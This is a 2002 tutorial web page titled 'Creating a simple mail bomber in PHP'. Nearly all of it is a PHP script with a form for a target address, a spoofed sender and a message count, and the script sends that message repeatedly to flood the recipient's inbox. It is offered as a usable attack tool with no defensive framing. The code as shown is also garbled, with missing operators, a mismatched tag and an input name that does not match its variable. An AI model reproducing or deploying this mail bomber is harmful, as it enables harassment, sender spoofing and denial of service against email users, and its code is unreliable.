News Register Control Panel Private Messages Members List Team Search News Posts About Us
 

Creating a simple mail bomber in PHP
  Author: Ravish Ahuja
Added: 12/04/2002
Type: Tutorial
Viewed: 1423 time(s)
Average visitor rating of 9.4/10Average visitor rating of 9.4/10Average visitor rating of 9.4/10Average visitor rating of 9.4/10Average visitor rating of 9.4/10Average visitor rating of 9.4/10Average visitor rating of 9.4/10Average visitor rating of 9.4/10Average visitor rating of 9.4/10Average visitor rating of 9.4/10Average visitor rating of 9.4/10
PHP Code

    <?php
    
if ($submit == "Send"){ 
    
$extra "From: $from\r\nReply-To: $replyto\r\n";
    echo 
"
    <center><h1>PHP Mail Bomber by Ravish</h1></center>
    <br>Sending... "
;
    for (
$i 0$i $number$i++){
    
mail ($recipient$subject$message$extra);
    }
    echo 
"done</body></html>";
    } 
    else{ 
    echo 
"
    <center><h1>PHP Mail Bomber by Ravish</h1></center>
    <form method='post' action=$PHP_SELF>
    <table>
    <tr>
    <td>To:</td>
    <td><input type='text' name='recipient'></input></td>
    </tr>
    <tr>
    <td>From:</td>
    <td><input type='text' name='from'></input></td>
    </tr>
    <tr>
    <td>Reply-to:</td>
    <td><input type='text' name='replyto'></input></td>
    </tr>
    <tr>
    <td>Subject:</td>
    <td><input type='text' name='subject'></input></td>
    </tr>
    <tr>
    <td>Message:</td>
    <td><textarea wrap=virtual name='page' cols=30 rows=10></text></td>
    </tr>
    <tr>
    <td>Number of messages to send:</td>
    <td><input type='text' name='number'></input></td>
    </tr>
    </table>
    <input type='submit' name='submit' value='Send'></input>
    </form> "
;
    }
    
?>

Article Pages:  1  


Support Material


This article contains some support material in a .zip file format.
Please click here to download the file.




How would you rate this article:    Bad Good   Go  


Copyright Linux Advisory 2003. All rights reserved.
We are not responsible for the comment and story contributed by users.